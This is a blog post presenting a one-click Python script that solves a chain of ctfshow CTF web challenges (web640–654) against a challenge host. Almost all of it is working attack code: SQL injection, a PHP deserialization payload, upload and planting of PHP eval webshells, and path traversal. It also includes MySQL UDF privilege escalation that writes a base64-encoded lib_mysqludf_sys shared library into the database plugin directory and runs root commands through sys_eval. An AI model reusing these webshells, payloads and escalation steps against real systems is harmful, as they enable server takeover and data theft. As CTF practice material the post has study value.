ctfshow终极考核（一键通关脚本）

原创
已于 2022-01-19 19:48:55 修改 · 3.2k 阅读
3 ·
CC 4.0 BY-SA版权
文章标签：
#php #安全 #开发语言
于 2022-01-03 20:58:45 首次发布
本文详细记录了一次CTF靶机挑战过程，包括利用web漏洞获取flag、模拟数据备份、生成并执行恶意代码等实战技巧，展现了渗透测试与漏洞利用的综合能力。
由于某些原因，可能会出现失败的情况，这时候需要重新开个靶机。
import requests
import re
import time
import base64
import urllib

url="http://acfb991e-8e05-4683-9927-7b8778dea28e.challenge.ctf.show/"
sess=requests.session()
#web640
print(re.findall('flag.*?=ctfshow{.*?}',requests.get(url).text)[0])
#web641
print(sess.get(url).headers['Flag'])

#web642
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d').text)[0])

#web643
sess.get(url+'system36d/checklogin.php?s=10')
print(urllib.parse.unquote(sess.get(url+'system36d/secret.txt').text))

#web644
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/static/js/lock/index.js').text)[0])

#web645
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=backup').text)[0])

#web646
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=remoteUpdate&auth=ctfshow{28b00f799c2e059bafaa1d6bda138d89}&update_address=init.php').text)[1])

#web647
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=evilString&m=session_id',headers={
   
   'Cookie':'PHPSESSID=372619038'}).text)[0])

#web648
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}',headers={
   
   'Cookie':'PHPSESSID=372619038'}).text)[0])
#web649

u=url+"system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
    r=requests.get(u)
    if "ctf" in r.text:
        print(r.text)
        break


#web650
print(sess.get(url+'system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}',headers={
   
   'Cookie':'PHPSESSID=ffffffff'}).text)

#web651
'''
<?php
class a{
    public $username='123';
    public $x="ctfshow";
}
$a=new a();
echo serialize($a);
'''

print(sess.get(url+'system36d/users.php?action=evilArray&m=O:1:"a":2:{s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}',headers={
   
   'Cookie':'PHPSESSID=ffffffff'}).text)

#web652
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'page.php?id=0) union select secret from ctfshow_secret%23').text)[0])


#模拟数据备份
files={
   
   'file':('1.dat',"<?php eval($_POST[1]);echo 123;?>","application/ms-tnef")} 

#生成木马
sess.post(url+"system36d/users.php?action=upload",files=files)
data1={
   
   "key":"key_is_here_you_know","file":"../db/data_you_never_know.db","1":"file_put_contents('a.php','<?php eval($_POST[1]);?>');"}
sess.post(url+'system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}',data=data1)

#web653
print(sess.post(url+"system36d/util/a.php",data={
   
   '1':'echo `cat /s*`;'}).text)
#写入木马
sess.post(url+"system36d/util/a.php",data={
   
   '1':'file_put_contents("/var/www/html/1.php","<?php eval(\$_POST[1]);?>");'})


#udf提权
data2={
   
   '1':'''`echo "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AAAAAAAAAABnAAAAAQAAADIAAAAAAAAAhhEAAAAAAACGEQAAAAAAAN0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAbwAAAAEAAAACAAAAAAAAAGQSAAAAAAAAZBIAAAAAAACcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAH0AAAABAAAAAgAAAAAAAAAAEwAAAAAAAAATAAAAAAAAFAIAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACHAAAAAQAAAAMAAAAAAAAAGBUgAAAAAAAYFQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAjgAAAAEAAAADAAAAAAAAACgVIAAAAAAAKBUAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJUAAAABAAAAAwAAAAAAAAA4FSAAAAAAADgVAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACaAAAABgAAAAMAAAAAAAAAQBUgAAAAAABAFQAAAAAAAJABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAowAAAAEAAAADAAAAAAAAANAWIAAAAAAA0BYAAAAAAAAYAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAKgAAAABAAAAAwAAAAAAAADoFiAAAAAAAOgWAAAAAAAAmAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACxAAAAAQAAAAMAAAAAAAAAgBcgAAAAAACAFwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAtwAAAAgAAAADAAAAAAAAAIgXIAAAAAAAiBcAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALwAAAABAAAAAAAAAAAAAAAAAAAAAAAAAIgXAAAAAAAAmwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAjGAAAAAAAAMUAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" > /tmp/a.so;cat  /tmp/a.so|base64 -d > /usr/lib/mariadb/plugin/b.so`;
'''}
sess.post(url+"1.php",data=data2)
sess.post(url+"1.php",data={
   
   '1':'`mysql -uroot -proot -e "create function sys_eval returns string soname \'b.so\'"`;'})
cmd='''mysql -uroot -proot -e "select sys_eval('sudo cat /root/you_win')"'''
cmd=base64.b64encode(cmd.encode()).decode()
datax={
   
   '1':'echo `echo {0}|base64 -d|sh`;'.format(cmd)}
# web654
print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+"1.php",data=datax).text)[0])

#udf提权
#sess.post(url+"1.php",data={'1':'`echo W1BIUF0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBBYm91dCBwaHAuaW5pICAgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgUEhQJmFwb3M7cyBpbml0aWFsaXphdGlvbiBmaWxlLCBnZW5lcmFsbHkgY2FsbGVkIHBocC5pbmksIGlzIHJlc3BvbnNpYmxlIGZvcgo7IGNvbmZpZ3VyaW5nIG1hbnkgb2YgdGhlIGFzcGVjdHMgb2YgUEhQJmFwb3M7cyBiZWhhdmlvci4KCjsgUEhQIGF0dGVtcHRzIHRvIGZpbmQgYW5kIGxvYWQgdGhpcyBjb25maWd1cmF0aW9uIGZyb20gYSBudW1iZXIgb2YgbG9jYXRpb25zLgo7IFRoZSBmb2xsb3dpbmcgaXMgYSBzdW1tYXJ5IG9mIGl0cyBzZWFyY2ggb3JkZXI6CjsgMS4gU0FQSSBtb2R1bGUgc3BlY2lmaWMgbG9jYXRpb24uCjsgMi4gVGhlIFBIUFJDIGVudmlyb25tZW50IHZhcmlhYmxlLiAoQXMgb2YgUEhQIDUuMi4wKQo7IDMuIEEgbnVtYmVyIG9mIHByZWRlZmluZWQgcmVnaXN0cnkga2V5cyBvbiBXaW5kb3dzIChBcyBvZiBQSFAgNS4yLjApCjsgNC4gQ3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAoZXhjZXB0IENMSSkKOyA1LiBUaGUgd2ViIHNlcnZlciZhcG9zO3MgZGlyZWN0b3J5IChmb3IgU0FQSSBtb2R1bGVzKSwgb3IgZGlyZWN0b3J5IG9mIFBIUAo7IChvdGhlcndpc2UgaW4gV2luZG93cykKOyA2LiBUaGUgZGlyZWN0b3J5IGZyb20gdGhlIC0td2l0aC1jb25maWctZmlsZS1wYXRoIGNvbXBpbGUgdGltZSBvcHRpb24sIG9yIHRoZQo7IFdpbmRvd3MgZGlyZWN0b3J5ICh1c3VhbGx5IEM6XHdpbmRvd3MpCjsgU2VlIHRoZSBQSFAgZG9jcyBmb3IgbW9yZSBzcGVjaWZpYyBpbmZvcm1hdGlvbi4KOyBodHRwOi8vcGhwLm5ldC9jb25maWd1cmF0aW9uLmZpbGUKCjsgVGhlIHN5bnRheCBvZiB0aGUgZmlsZSBpcyBleHRyZW1lbHkgc2ltcGxlLiAgV2hpdGVzcGFjZSBhbmQgbGluZXMKOyBiZWdpbm5pbmcgd2l0aCBhIHNlbWljb2xvbiBhcmUgc2lsZW50bHkgaWdub3JlZCAoYXMgeW91IHByb2JhYmx5IGd1ZXNzZWQpLgo7IFNlY3Rpb24gaGVhZGVycyAoZS5nLiBbRm9vXSkgYXJlIGFsc28gc2lsZW50bHkgaWdub3JlZCwgZXZlbiB0aG91Z2gKOyB0aGV5IG1pZ2h0IG1lYW4gc29tZXRoaW5nIGluIHRoZSBmdXR1cmUuCgo7IERpcmVjdGl2ZXMgZm9sbG93aW5nIHRoZSBzZWN0aW9uIGhlYWRpbmcgW1BBVEg9L3d3dy9teXNpdGVdIG9ubHkKOyBhcHBseSB0byBQSFAgZmlsZXMgaW4gdGhlIC93d3cvbXlzaXRlIGRpcmVjdG9yeS4gIERpcmVjdGl2ZXMKOyBmb2xsb3dpbmcgdGhlIHNlY3Rpb24gaGVhZGluZyBbSE9TVD13d3cuZXhhbXBsZS5jb21dIG9ubHkgYXBwbHkgdG8KOyBQSFAgZmlsZXMgc2VydmVkIGZyb20gd3d3LmV4YW1wbGUuY29tLiAgRGlyZWN0aXZlcyBzZXQgaW4gdGhlc2UKOyBzcGVjaWFsIHNlY3Rpb25zIGNhbm5vdCBiZSBvdmVycmlkZGVuIGJ5IHVzZXItZGVmaW5lZCBJTkkgZmlsZXMgb3IKOyBhdCBydW50aW1lLiBDdXJyZW50bHksIFtQQVRIPV0gYW5kIFtIT1NUPV0gc2VjdGlvbnMgb25seSB3b3JrIHVuZGVyCjsgQ0dJL0Zhc3RDR0kuCjsgaHR0cDovL3BocC5uZXQvaW5pLnNlY3Rpb25zCgo7IERpcmVjdGl2ZXMgYXJlIHNwZWNpZmllZCB1c2luZyB0aGUgZm9sbG93aW5nIHN5bnRheDoKOyBkaXJlY3RpdmUgPSB2YWx1ZQo7IERpcmVjdGl2ZSBuYW1lcyBhcmUgKmNhc2Ugc2Vuc2l0aXZlKiAtIGZvbz1iYXIgaXMgZGlmZmVyZW50IGZyb20gRk9PPWJhci4KOyBEaXJlY3RpdmVzIGFyZSB2YXJpYWJsZXMgdXNlZCB0byBjb25maWd1cmUgUEhQIG9yIFBIUCBleHRlbnNpb25zLgo7IFRoZXJlIGlzIG5vIG5hbWUgdmFsaWRhdGlvbi4gIElmIFBIUCBjYW4mYXBvczt0IGZpbmQgYW4gZXhwZWN0ZWQKOyBkaXJlY3RpdmUgYmVjYXVzZSBpdCBpcyBub3Qgc2V0IG9yIGlzIG1pc3R5cGVkLCBhIGRlZmF1bHQgdmFsdWUgd2lsbCBiZSB1c2VkLgoKOyBUaGUgdmFsdWUgY2FuIGJlIGEgc3RyaW5nLCBhIG51bWJlciwgYSBQSFAgY29uc3RhbnQgKGUuZy4gRV9BTEwgb3IgTV9QSSksIG9uZQo7IG9mIHRoZSBJTkkgY29uc3RhbnRzIChPbiwgT2ZmLCBUcnVlLCBGYWxzZSwgWWVzLCBObyBhbmQgTm9uZSkgb3IgYW4gZXhwcmVzc2lvbgo7IChlLmcuIEVfQUxMICZhbXA7IH5FX05PVElDRSksIGEgcXVvdGVkIHN0cmluZyAoJnF1b3Q7YmFyJnF1b3Q7KSwgb3IgYSByZWZlcmVuY2UgdG8gYQo7I